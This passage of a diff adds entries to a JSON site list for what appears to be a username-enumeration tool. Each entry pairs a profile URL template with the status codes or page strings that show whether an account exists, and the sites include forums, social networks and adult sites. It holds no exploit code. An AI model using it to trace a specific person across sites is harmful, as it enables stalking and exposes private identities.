"https://akbrny.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-social" + }, + { + "name": "Akforum", + "url": "https://akforum.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "akniga", + "url": "https://akniga.org/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aktualno.lv", + "url": "http://aktualno.lv/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Alabay", + "url": "https://alabay.forum24.ru/?32-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + }, + { + "name": "Albicla", + "url": "https://albicla.com/{}/post/1", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "404 Nie znaleziono u\u017cytkownika", + "match_code": 500, + "match_string": "500 Post tymczasowo niedost\u0119pny" + }, + { + "name": "aleks2.ru", + "url": "http://aleks2.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Alexgyver", + "url": "https://community.alexgyver.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Alexgyver", + "url": "https://community.alexgyver.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "algowiki-project.org", + "url": "https://algowiki-project.org/en/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ali213", + "url": "https://game.ali213.net/space-username-{}.html", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Aliensoup", + "url": "https://aliensoup.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "aliensoup.com", + "url": "https://aliensoup.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "alik", + "url": "https://www.alik.cz/u/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>Vizitka nenalezena", + "match_code": 200, + "match_string": "Vizitka \u2013 Al\u00edk.cz" + }, + { + "name": "Alik", + "url": "https://alik.cz/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user-" + }, + { + "name": "alikgor.at.ua", + "url": "http://alikgor.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "alimero.ru", + "url": "https://alimero.ru/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "alisaclub.ru", + "url": "http://alisaclub.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aliveshoes", + "url": "https://aliveshoes.com/brand/{}", + "category": "shopping", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "og:title" + }, + { + "name": "alka-mine.at.ua", + "url": "http://alka-mine.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "All Things Worn", + "url": "https://www.allthingsworn.com/profile/{}", + "category": "adult", + "source": "sherlock", + "nsfw": true, + "error_type": "message", + "error_string": "Sell Used Panties" + }, + { + "name": "all-gta.info", + "url": "http://all-gta.info/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "All-mods", + "url": "https://all-mods.ru/author/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AllegroSeller", + "url": "https://allegro.pl/uzytkownik/{}_pl/sklep", + "category": "shopping", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "geo.captcha-delivery.com" + }, + { + "name": "allesovercrypto", + "url": "https://allesovercrypto.nl/user/{}", + "category": "finance", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "De opgevraagde pagina kon niet gevonden worden.", + "match_code": 200, + "match_string": "Favoriete coins" + }, + { + "name": "Alleywatch", + "url": "https://alleywatch.com/profile/{}/", + "category": "tech", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "author-photo" + }, + { + "name": "allgaz", + "url": "https://forum.allgaz.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Allhockey", + "url": "https://allhockey.ru/blog/{}", + "category": "sports", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Alliance-prod", + "url": "https://alliance-prod.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "alliedmods", + "url": "https://forums.alliedmods.net//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AllKPop", + "url": "https://www.allkpop.com/profile/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "allmobile.vo.uz", + "url": "http://allmobile.vo.uz/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "allmus.ucoz.ru", + "url": "http://allmus.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "allmylinks", + "url": "https://allmylinks.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found" + }, + { + "name": "Alloannonces", + "url": "https://www.alloannonces.ma/{}/", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page non defini", + "match_code": 200, + "match_string": "Vendeurs/Agents" + }, + { + "name": "Allods", + "url": "https://allods.mail.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Allods", + "url": "https://forum.allods.ru/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "AllRecipes", + "url": "https://www.allrecipes.com/cook/{}", + "category": "food", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found.", + "match_string": "Saved Items & Collections" + }, + { + "name": "AllTheLyrics", + "url": "https://www.allthelyrics.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Allthelyrics", + "url": "https://www.allthelyrics.com/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "AllTheSoft", + "url": "http://www.allthesoft.com/member/{}.html", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Allthingsworn", + "url": "https://allthingsworn.com/profile/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "profileOptions" + }, + { + "name": "AllTrails", + "url": "https://www.alltrails.com/members/{}", + "category": "sports", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "You are being", + "match_string": "Profile" + }, + { + "name": "Alltrails", + "url": "https://alltrails.com/members/{}", + "category": "sports", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "User could not be found", + "match_string": "Member Since" + }, + { + "name": "Alltrails", + "url": "https://www.alltrails.com/members/{}/lists", + "category": "sports", + "source": "nexfil", + "nsfw": false + }, + { + "name": "alpanf.ucoz.ru", + "url": "http://alpanf.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Alpmsu", + "url": "https://www.alpmsu.ru/forum/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0435 \u0443\u043a\u0430\u0437\u0430\u043d \u043a\u043e\u0434 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "AlternativeTo", + "url": "https://alternativeto.net/user/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404: This page could not be found" + }, + { + "name": "Alura", + "url": "https://cursos.alura.com.br/user/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error\":\"Not Found\"", + "match_code": 200, + "match_string": "Perfil de" + }, + { + "name": "Alushta24", + "url": "https://alushta24.org/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "amateurvoyeurforum.com", + "url": "https://www.amateurvoyeurforum.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "amax-sb.ru", + "url": "http://amax-sb.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Amazfitwatchfaces", + "url": "https://amazfitwatchfaces.com/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Server error" + }, + { + "name": "Amazon", + "url": "https://amazon.com/author/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry! We couldn't find that page", + "match_string": "authorName" + }, + { + "name": "Ameba", + "url": "https://profile.ameba.jp/ameba/{}/", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ameblo", + "url": "https://ameblo.jp/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "THROW_NOT_FOUND_EXCEPTION", + "match_string": "profile" + }, + { + "name": "Americanthinker", + "url": "https://www.americanthinker.com/author/{}/", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>American Thinker", + "match_string": "Articles:" + }, + { + "name": "aminoapp", + "url": "https://aminoapps.com/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aminus3", + "url": "https://{}.aminus3.com/", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Expires", + "match_string": "image/ico" + }, + { + "name": "Amirite", + "url": "https://www.amirite.com/user/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "amp.flipboard.com", + "url": "https://amp.flipboard.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Amperka", + "url": "http://forum.amperka.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Amplitude", + "url": "https://community.amplitude-studios.com/profile/{}/rewards", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "{}", + "match_string": "og:site_name" + }, + { + "name": "Anobii", + "url": "https://anobii.com/{}/profile", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "No route found for", + "match_string": "profile-" + }, + { + "name": "Anonup", + "url": "https://anonup.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found!", + "match_string": "Following" + }, + { + "name": "Anphabe", + "url": "https://anphabe.com/profile/{}", + "category": "tech", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile/{username}" + }, + { + "name": "anschula.ucoz.ru", + "url": "http://anschula.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "antalya.ucoz.ru", + "url": "http://antalya.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antichat", + "url": "https://forum.antichat.ru//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antichat", + "url": "https://forum.antichat.club/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "name": "antihack.ucoz.net", + "url": "http://antihack.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antipunk", + "url": "https://antipunk.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antique-bottles", + "url": "https://www.antique-bottles.net/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antiquers", + "url": "https://www.antiquers.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antiquers", + "url": "https://www.antiquers.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Antiscam", + "url": "https://antiscam.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "antiscam.space", + "url": "https://antiscam.space/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "antivirus.moy.su", + "url": "http://antivirus.moy.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antiwomen", + "url": "https://antiwomen.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "antizombie.ucoz.ru", + "url": "http://antizombie.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antwiki", + "url": "https://antwiki.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Ap-pro", + "url": "https://ap-pro.ru/search/?q={}&quick=1&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "Aparat", + "url": "https://www.aparat.com/{}", + "category": "video", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 - Page Not Found", + "match_string": "Profile" + }, + { + "name": "Aparat", + "url": "https://www.aparat.com/{}/", + "category": "video", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aparat", + "url": "https://www.aparat.com/api/fa/v1/user/user/information/username/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "class=\"error-body\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "APClips", + "url": "https://apclips.com/{}", + "category": "adult", + "source": "sherlock", + "nsfw": true, + "error_type": "message", + "error_string": "Amateur Porn Content Creators" + }, + { + "name": "apelmon.od.ua", + "url": "http://apelmon.od.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Apex Legends", + "url": "https://api.tracker.gg/api/v2/apex/standard/profile/origin/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "CollectorResultStatus::NotFound", + "match_code": 200, + "match_string": "platformInfo" + }, + { + "name": "ApexLegends", + "url": "https://apex.tracker.gg/apex/profile/origin/{}/overview", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "PLAYER NOT FOUND", + "match_string": "Overview" + }, + { + "name": "Aphrodite Agency (Europe)", + "url": "https://www.aphrodite-agency.com/en/models/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "meet high class escorts", + "match_string": "more about" + }, + { + "name": "Apne", + "url": "https://apne.co/member/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "userdetails" + }, + { + "name": "App", + "url": "https://app.realunify.com/users/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "app.airnfts.com", + "url": "https://app.airnfts.com/creators/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "user-not-found-div", + "match_string": "username" + }, + { + "name": "app.clan.su", + "url": "http://app.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "app.samsungfood.com", + "url": "https://app.samsungfood.com/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ">User not found
    ", + "match_string": "alternateName" + }, + { + "name": "Appearoo", + "url": "http://appearoo.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Appian", + "url": "https://community.appian.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Working...
    \u0412 \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "Aptoide", + "url": "https://{}.en.aptoide.com/", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code", + "match_string": "BreadcrumbList" + }, + { + "name": "AptoideAPP", + "url": "https://{}.en.aptoide.com/app", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "content=\"noindex, nofollow\"/>Error 404", + "match_string": ">Profile" + }, + { + "name": "Archive_predistoria", + "url": "http://archive.predistoria.org/index.php?name=Forums&file=profile&mode=viewprofile&u={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "ArchiveOfOurOwn", + "url": "https://archiveofourown.org/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Archives", + "url": "https://archives.bulbagarden.net/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Archlinux", + "url": "https://archlinux.org.ru/forum/users/{}/", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ArchWiki", + "url": "https://wiki.archlinux.org/api.php?action=query&format=json&list=users&ususers={}&usprop=cancreate&formatversion=2&errorformat=html&errorsuselocal=true&uselang=en", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"missing\":true", + "match_code": 200, + "match_string": "\"userid\":" + }, + { + "name": "Arcolinuxforum", + "url": "https://arcolinuxforum.com/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Information" + }, + { + "name": "Arduino", + "url": "https://projecthub.arduino.cc/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Arduino Project Hub", + "match_string": "Arduino Project Hub" + }, + { + "name": "Arduino (Forum)", + "url": "https://forum.arduino.cc/u/{}.json", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error_type\":\"not_found\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Arduino Forum", + "url": "https://forum.arduino.cc/u/{}/summary", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "are.na", + "url": "https://www.are.na/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Are.na home", + "match_string": "Profile--view" + }, + { + "name": "AreKamrbb", + "url": "https://are.kamrbb.ru/?x=find&f={}#top", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043c\u044b \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 \u0434\u043b\u044f \u0432\u0430\u0441.." + }, + { + "name": "Arhrock", + "url": "https://arhrock.info/forum/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "aribut.ru", + "url": "http://aribut.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ariva", + "url": "https://www.ariva.de/profil/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Armavir", + "url": "http://phorum.armavir.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Armchairgm", + "url": "https://armchairgm.fandom.com/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Armorgames", + "url": "https://armorgames.com/user/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Armtorg", + "url": "https://armtorg.ru/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c" + }, + { + "name": "Army", + "url": "https://army.ca/forums/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "army-rus.ucoz.ru", + "url": "http://army-rus.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "armyboots.ucoz.ru", + "url": "http://armyboots.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Armycarus", + "url": "http://armycarus.do.am/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Arrse", + "url": "https://www.arrse.co.uk//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Arrse", + "url": "https://www.arrse.co.uk/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Arsenal-mania", + "url": "https://arsenal-mania.com/forum/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "name": "Arsmate", + "url": "https://arsmate.com/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "error-link mt-5", + "match_code": 200, + "match_string": "far fa-user-circle mr-1" + }, + { + "name": "Arstechnica", + "url": "https://arstechnica.com/civis/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "arstechnica", + "url": "https://arstechnica.com/author/{}/", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "art-color.my1.ru", + "url": "http://art-color.my1.ru/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "art-nata.my1.ru", + "url": "http://art-nata.my1.ru/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ArtBreeder", + "url": "https://www.artbreeder.com/{}", + "category": "art", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Not found:", + "match_code": 200, + "match_string": "" + }, + { + "name": "artfol.me", + "url": "https://artfol.me/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This user does not exist", + "match_string": "About" + }, + { + "name": "artinvestment", + "url": "https://forum.artinvestment.ru//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Artist", + "url": "https://artist.ru/user/{}/", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Artistsnclients", + "url": "https://artistsnclients.com/people/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "artmilitaire.ru", + "url": "http://artmilitaire.ru/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Artpersona", + "url": "http://artpersona.org/cb/userprofile/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u042d\u0442\u043e\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u043b\u0438\u0431\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u043b\u0438\u0431\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d." + }, + { + "name": "Artstation", + "url": "https://www.artstation.com/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Artstation", + "url": "https://artstation.com/{}", + "category": "art", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found" + }, + { + "name": "Artsy", + "url": "https://www.artsy.net/artist/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aruba_CLOSEDEAD", + "url": "https://www.aruba.com/forum/members/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to vie" + }, + { + "name": "Ascend4", + "url": "https://ascend4.org/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Asciinema", + "url": "https://asciinema.org/~{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "asecurity.do.am", + "url": "http://asecurity.do.am/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Asianwiki", + "url": "https://asianwiki.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Ask Fedora", + "url": "https://ask.fedoraproject.org/u/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AskFM", + "url": "https://ask.fm/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Well, apparently not anymore." + }, + { + "name": "Askubuntu", + "url": "https://askubuntu.com/users/filter?search={}&filter=Month&tab=Reputation", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No users matched your search" + }, + { + "name": "Askvoprosy", + "url": "https://askvoprosy.com/polzovateli/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>" + }, + { + "name": "Aspirantura_spb", + "url": "http://www.aspirantura.spb.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 